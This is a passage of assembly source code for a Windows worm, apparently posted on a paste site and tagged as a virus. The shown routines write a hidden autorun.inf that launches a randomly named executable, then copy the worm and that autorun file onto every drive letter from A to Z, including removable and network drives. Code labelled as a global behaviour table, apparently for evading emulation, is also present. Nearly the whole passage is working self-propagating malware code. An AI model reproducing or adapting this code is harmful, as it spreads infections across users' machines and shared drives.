  3285.     cc rNoEmul,  stdcall, dword[_RegCloseKey]
  3286.  
  3287.     cc rNoEmul,  call,    OpenRandomFileRead
  3288.  
  3289.     cc rA,       xor,     eax, eax
  3290.     cc rA,       add,     eax, "X:\a"
  3291.     cc rNoRes,   mov,     dword[stAutorunWithDrive], eax
  3292.     cc rA,       mov,     eax, "\aut"
  3293.     cc rNoRes,   mov,     dword[stAutorunWithDrive+2], eax
  3294.     cc rA,       mov,     eax, "orun"
  3295.     cc rNoRes,   mov,     dword[stAutoruninf+3], eax
  3296.     cc rA,       mov,     eax, ".inf"
  3297.     cc rNoRes,   mov,     dword[stAutoruninf+7], eax
  3298.  
  3299.     cc rA,       mov,     eax, "[Aut"
  3300.     cc rNoRes,   mov,     dword[stAutoRunContent], eax
  3301.     cc rA,       mov,     eax, "orun"
  3302.     cc rNoRes,   mov,     dword[stAutoRunContent+0x04], eax
  3303.     cc rA,       mov,     eax, 0x530A0D5D
  3304.     cc rNoRes,   mov,     dword[stAutoRunContent+0x08], eax
  3305.     cc rA,       mov,     eax, "hell"            ; !!!!!!!
  3306.     cc rNoRes,   mov,     dword[stAutoRunContent+0x0C], eax
  3307.     cc rA,       mov,     eax, "Exec"
  3308.     cc rNoRes,   mov,     dword[stAutoRunContent+0x10], eax
  3309.     cc rA,       mov,     eax, "ute="
  3310.     cc rNoRes,   mov,     dword[stAutoRunContent+0x14], eax
  3311.     cc rA,       mov,     eax, dword[RandomFileName]    ; Filename: XXXXxxxx.exe
  3312.     cc rNoRes,   mov,     dword[stAutoRunContent+0x18], eax
  3313.     cc rA,       mov,     eax, dword[RandomFileName+0x4]    ; Filename: xxxxXXXX.exe
  3314.     cc rNoRes,   mov,     dword[stAutoRunContent+0x1C], eax
  3315.     cc rA,       mov,     eax, ".exe"
  3316.     cc rNoRes,   mov,     dword[stAutoRunContent+0x20], eax
  3317.     cc rA,       mov,     eax, 0x73550A0D
  3318.     cc rNoRes,   mov,     dword[stAutoRunContent+0x24], eax
  3319.     cc rA,       mov,     eax, "eAut"
  3320.     cc rNoRes,   mov,     dword[stAutoRunContent+0x28], eax
  3321.     cc rA,       mov,     eax, "opla"
  3322.     cc rNoRes,   mov,     dword[stAutoRunContent+0x2C], eax
  3323.     cc rA,       mov,     eax, 0x00313D79
  3324.     cc rNoRes,   mov,     dword[stAutoRunContent+0x30], eax
  3325.  
  3326.  
  3327.  
  3328.     ; i like that coding style, roy g biv! :))
  3329.     cc rNoRes,   push,    51
  3330.     cc rNoRes,   push,    0x0
  3331.     cc rNoRes,   push,    0x0
  3332.     cc rNoRes,   push,    FILE_MAP_ALL_ACCESS
  3333.     cc rNoRes,   push,    0x0
  3334.     cc rNoRes,   push,    51
  3335.     cc rNoRes,   push,    0x0
  3336.     cc rNoRes,   push,    PAGE_READWRITE
  3337.     cc rNoRes,   push,    0x0
  3338.     cc rNoRes,   push,    0x0
  3339.     cc rNoRes,   push,    FILE_ATTRIBUTE_HIDDEN
  3340.     cc rNoRes,   push,    OPEN_ALWAYS
  3341.     cc rNoRes,   push,    0x0
  3342.     cc rNoRes,   push,    0x0
  3343.     cc rNoRes,   push,    (GENERIC_READ or GENERIC_WRITE)
  3344.     cc rNoRes,   push,    stAutoruninf
  3345.  
  3346.     cc rNoEmul,  stdcall, dword[_CreateFileA]
  3347.     cc rA,       push,    eax
  3348.     cc rNoRes,   mov,     dword[hCreateFileAR], eax
  3349.     cc rNoEmul,  stdcall, dword[_CreateFileMappingA]
  3350.     cc rA,       push,    eax
  3351.     cc rNoRes,   mov,     dword[hCreateFileMappingAR], eax
  3352.     cc rNoEmul,  stdcall, dword[_MapViewOfFile]
  3353.  
  3354.     cc rAC,      xor,     cl, cl
  3355.     cc rACS,     mov,     esi, stAutoRunContent
  3356.     MakeAutoRunInfoMore:
  3357.         cc rABCS,    mov,     bl, byte[esi]
  3358.         cc rACS,     mov,     byte[eax], bl
  3359.         cc rACS,     inc,     eax
  3360.         cc rACS,     inc,     esi
  3361.         cc rACS,     inc,     ecx
  3362.         cc rACSF,    cmp,     cl, 51
  3363.     cc rNoEmul,  jb,      MakeAutoRunInfoMore
  3364.  
  3365.     cc rA,      sub,     eax, 51
  3366.     cc rA,      push,    dword[hCreateFileAR]
  3367.     cc rA,      push,    dword[hCreateFileMappingAR]
  3368.     cc rA,      push,    eax
  3369.     cc rNoEmul, stdcall, dword[_UnmapViewOfFile]
  3370.     cc rNoEmul, stdcall, dword[_CloseHandle]
  3371.     cc rNoEmul, stdcall, dword[_CloseHandle]
  3372.  
  3373.     cc rA,      mov,     eax, "A:\."
  3374.     cc rNoEmul, mov,     dword[SpaceForHDC2+1], eax
  3375.     cc rA,      mov,     eax, dword[RandomFileName]
  3376.     cc rNoEmul, mov,     dword[RandomFileName2], eax     ; XXXXxxxx.exe
  3377.     cc rA,      mov,     eax, dword[RandomFileName+0x04]
  3378.     cc rNoEmul, mov,     dword[RandomFileName2+0x04], eax    ; xxxxXXXX.exe
  3379.     cc rA,      mov,     eax, dword[RandomFileName+0x08]
  3380.     cc rNoEmul, mov,     dword[RandomFileName2+0x08], eax    ; .exe
  3381. cc rNoEmul, ret
  3382.  
  3383.  
  3384. SpreadThisKitty:
  3385.     cc rNoEmul,  call,    CloseRandomFile
  3386.  
  3387.     cc rA,       mov,     eax, 0x003A4100        ; 0x0, "A:", 0x0
  3388.     cc rNoRes,   mov,     dword[SpaceForHDC2], eax
  3389.  
  3390.     STKAnotherRound:
  3391.     cc rNoRes,   push,    SpaceForHDC2+1
  3392.     cc rNoEmul,  stdcall, dword[_GetDriveTypeA]
  3393.  
  3394.     cc rAC,      mov,     cl, '\'
  3395.     cc rA,       mov,     byte[SpaceForHDC2+3],cl
  3396.  
  3397.     cc rAF,      cmp,     al, 0x2
  3398.     cc rNoEmul,  je,      STKWithAutoRun
  3399.  
  3400.     cc rAF,      cmp,     al, 0x3
  3401.     cc rNoEmul,  je,      STKWithoutAutoRun
  3402.  
  3403.     cc rAF,      cmp,     al, 0x4
  3404.     cc rNoEmul,  je,      STKWithAutoRun
  3405.  
  3406.     cc rAF,      cmp,     al, 0x6
  3407.     cc rNoEmul,  je,      STKWithAutoRun
  3408.  
  3409.     cc rNoEmul,  jmp,     STKCreateEntriesForNextDrive
  3410.  
  3411.     STKWithAutoRun:
  3412.  
  3413.     cc rNoRes,   push,    FALSE
  3414.     cc rNoRes,   push,    stAutorunWithDrive
  3415.     cc rNoRes,   push,    stAutoruninf
  3416.     cc rNoEmul,  stdcall, dword[_CopyFileA]
  3417.  
  3418.     STKWithoutAutoRun:
  3419.  
  3420.     cc rNoRes,   push,    FALSE
  3421.     cc rNoRes,   push,    SpaceForHDC2+1
  3422.     cc rNoRes,   push,    SpaceForHDC+1
  3423.     cc rNoEmul,  stdcall, dword[_CopyFileA]
  3424.  
  3425.  
  3426.     STKCreateEntriesForNextDrive:
  3427.     cc rA,       xor,     eax, eax
  3428.     cc rA,       mov,     al, byte[SpaceForHDC2+1]
  3429.     cc rAF,      cmp,     al, "Z"
  3430.     cc rNoEmul,  je,      SpreadThisKittyEnd
  3431.  
  3432.     cc rA,       inc,     al
  3433.     cc rA,       mov,     byte[SpaceForHDC2+1], al        ; next drive
  3434.     cc rA,       mov,     byte[stAutorunWithDrive], al    ; next drive
  3435.     cc rA,       mov,     byte[SpaceForHDC2+3], ah        ; 0x0, "X:", 0x0
  3436.     cc rNoEmul,  jmp, STKAnotherRound
  3437.  
  3438.     SpreadThisKittyEnd:
  3439.     cc rNoEmul,  call,    OpenRandomFileRead
  3440. cc rNoEmul,  ret
  3441.  
  3442.  
  3443. OpenRandomFileRead:
  3444.     cc rNoRes,   push,    0x0
  3445.     cc rNoRes,   push,    FILE_ATTRIBUTE_NORMAL
  3446.     cc rNoRes,   push,    OPEN_ALWAYS
  3447.     cc rNoRes,   push,    0x0
  3448.     cc rNoRes,   push,    0x0
  3449.     cc rNoRes,   push,    GENERIC_READ
  3450.     cc rNoRes,   push,    SpaceForHDC+1
  3451.     cc rNoEmul,  stdcall, dword[_CreateFileA]
  3452.     cc rNoRes,   mov,     dword[hCreateFileRndFile], eax
  3453.  
  3454.     cc rNoRes,   push,    dFileSize
  3455.     cc rNoRes,   push,    dword[hCreateFileRndFile]
  3456.     cc rNoEmul,  stdcall, dword[_GetFileSize]
  3457.     cc rNoRes,   mov,     dword[dFileSize], eax
  3458.  
  3459.     cc rNoRes,   push,    0x0
  3460.     cc rNoRes,   push,    dword[dFileSize]
  3461.     cc rNoRes,   push,    0x0
  3462.     cc rNoRes,   push,    PAGE_READONLY
  3463.     cc rNoRes,   push,    0x0
  3464.     cc rNoRes,   push,    dword[hCreateFileRndFile]
  3465.     cc rNoEmul,  stdcall, dword[_CreateFileMappingA]
  3466.     cc rNoRes,   mov,     dword[hCreateMapRndFile], eax
  3467.  
  3468.     cc rNoRes,   push,    dword[dFileSize]
  3469.     cc rNoRes,   push,    0x0
  3470.     cc rNoRes,   push,    0x0
  3471.     cc rNoRes,   push,    FILE_MAP_READ
  3472.     cc rNoRes,   push,    dword[hCreateMapRndFile]
  3473.     cc rNoEmul,  stdcall, dword[_MapViewOfFile]
  3474.     cc rNoRes,   mov,     dword[hMapViewRndFile], eax
  3475.     cc rNoRes,   cmp,     eax, 0x0
  3476.     cc rNoEmul,  jne,     OpenRandomFileReadNoProblem   ; Potential problems while page file
  3477.                                 ; will be increased
  3478.     cc rNoEmul,  call,    CloseRandomFile
  3479.     cc rNoRes,   push,    5000
  3480.     cc rNoEmul,  stdcall, dword[_Sleep]         ; wait 5sec and try it again
  3481.     cc rNoEmul,  jmp,     OpenRandomFileRead
  3482.  
  3483.     OpenRandomFileReadNoProblem:
  3484.     cc rA,       add,     eax, CodeStartInFile
  3485.     cc rNoRes,   mov,     dword[WormCodeStart], eax
  3486. cc rNoEmul,  ret
  3487.  
  3488.  
  3489.  
  3490. OpenRandomFileWrite:
  3491.     cc rNoRes,   push,    0x0
  3492.     cc rNoRes,   push,    FILE_ATTRIBUTE_NORMAL
  3493.     cc rNoRes,   push,    OPEN_ALWAYS
  3494.     cc rNoRes,   push,    0x0
  3495.     cc rNoRes,   push,    0x0
  3496.     cc rNoRes,   push,    GENERIC_READ or GENERIC_WRITE
  3497.     cc rNoRes,   push,    SpaceForHDC+1
  3498.     cc rNoEmul,  stdcall, dword[_CreateFileA]
  3499.     cc rNoRes,   mov,     dword[hCreateFileRndFile], eax
  3500.  
  3501.     cc rNoRes,   push,    dFileSize
  3502.     cc rNoRes,   push,    dword[hCreateFileRndFile]
  3503.     cc rNoEmul,  stdcall, dword[_GetFileSize]
  3504.     cc rNoRes,   mov,     dword[dFileSize], eax
  3505.  
  3506.     cc rNoRes,   push,    0x0
  3507.     cc rNoRes,   push,    dword[dFileSize]
  3508.     cc rNoRes,   push,    0x0
  3509.     cc rNoRes,   push,    PAGE_READWRITE
  3510.     cc rNoRes,   push,    0x0
  3511.     cc rNoRes,   push,    dword[hCreateFileRndFile]
  3512.     cc rNoEmul,  stdcall, dword[_CreateFileMappingA]
  3513.     cc rNoRes,   mov,     dword[hCreateMapRndFile], eax
  3514.  
  3515.     cc rNoRes,   push,    dword[dFileSize]
  3516.     cc rNoRes,   push,    0x0
  3517.     cc rNoRes,   push,    0x0
  3518.     cc rNoRes,   push,    FILE_MAP_WRITE
  3519.     cc rNoRes,   push,    dword[hCreateMapRndFile]
  3520.     cc rNoEmul,  stdcall, dword[_MapViewOfFile]
  3521.     cc rA,       mov,     dword[hMapViewRndFile], eax
  3522.     cc rNoRes,   cmp,     eax, 0x0
  3523.     cc rNoEmul,  jne,     OpenRandomFileWriteNoProblem  ; Potential problems while page file
  3524.                                 ; will be increased
  3525.     cc rNoEmul,  call,    CloseRandomFile
  3526.     cc rNoRes,   push,    5000
  3527.     cc rNoEmul,  stdcall, dword[_Sleep]         ; wait 5sec and try it again
  3528.     cc rNoEmul,  jmp,     OpenRandomFileWrite
  3529.  
  3530.     OpenRandomFileWriteNoProblem:
  3531.     cc rA,       add,     eax, CodeStartInFile
  3532.     cc rNoRes,   mov,     dword[WormCodeStart], eax
  3533. cc rNoEmul,  ret
  3534.  
  3535. CloseRandomFile:
  3536.     cc rNoRes,   push,    dword[hMapViewRndFile]
  3537.     cc rNoEmul,  stdcall, dword[_UnmapViewOfFile]
  3538.  
  3539.     cc rNoRes,   push,    dword[hCreateMapRndFile]
  3540.     cc rNoEmul,  stdcall, dword[_CloseHandle]
  3541.  
  3542.     cc rNoRes,   push,    dword[hCreateFileRndFile]
  3543.     cc rNoEmul,  stdcall, dword[_CloseHandle]
  3544. cc rNoEmul,  ret
  3545. EndPaddedCommands:
  3546. ; #####
  3547. ; #####   Spreading part
  3548. ; #####
  3549. ; ###########################################################################
  3550. ; ###########################################################################
  3551.  
  3552.  
  3553.         hAnalyseBehaviourOfCode   dd AnalyseBehaviourOfCode  ; This value must be
  3554.                           ; in a protected environment
  3555.                           ; because the program has the
  3556.                           ; will to self-destruct itself
  3557.                           ; as soon as it has some freedom!!!
  3558.  
  3559. ; ###########################################################################
  3560. ; ###########################################################################
  3561. ; #####
  3562. ; #####   Global BehaviourTable
  3563. ; #####
  3564.  
  3565. ; Each Command has a 8bit value in the GBT
  3566. ; GBT_Entry = X g f e d c b a
  3567.  
  3568.  
  3569. ; a=1: EAX must have the same value
  3570. ; b=1: EBX must have the same value
  3571. ; c=1: ECX must have the same value
  3572. ; d=1: EDX must have the same value
  3573. ; e=1: EBP must have the same value
  3574. ; f=1: ESI must have the same value
  3575. ; g=1: EDI must have the same value
  3576. ; X=1: Flags must have the same value
  3577. ; ESP value must always be the same, therefore there is one bit left for Flags :))
  3578.  
  3579. ; Special feature: If GBT_Entry=10110101 -> no execution (jumps, rets, call, ...)
  3580.  
  3581.  
  3582. GlobalBehaviourTable:
  3583. ;                Command1 db 10000011b
  3584. ;                Command2 db 00000011b
  3585.          db GlobalBehaviourTableList
  3586.  
  3587. ; #####
  3588. ; #####   Global BehaviourTable
  3589. ; #####
  3590. ; ###########################################################################
  3591. ; ###########################################################################
  3592.  
  3593.  
  3594. .end CodeStart
  3595.  
  3596. ; "Dr." stands for "drunken" :)
Tags: virus SPTH
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement